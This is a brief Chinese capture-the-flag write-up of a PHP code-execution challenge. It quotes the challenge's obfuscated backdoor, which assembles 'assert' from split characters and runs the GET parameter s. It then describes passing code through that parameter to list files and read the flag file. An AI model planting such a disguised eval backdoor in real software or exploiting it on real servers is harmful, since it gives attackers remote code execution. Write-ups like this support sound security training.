解题报告
题目信息
解题思路
访问页面初始显示空白。
分析题目描述及源码逻辑,发现存在 PHP 代码执行漏洞。
$poc="a#s#s#e#r#t"; // 定义字符串
$poc_1=explode("#",$poc); // 按#分割得到数组
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; // 拼接为 assert
$poc_2($_GET['s']); // 执行 GET 参数 s
确认使用 GET 请求方式,可在 URL 中传递参数 s。
执行后可获取文件列表,包含 flaga15808abee46a1d5.txt 和 index.php。
读取 flaga15808abee46a1d5.txt 即可获取 Flag。


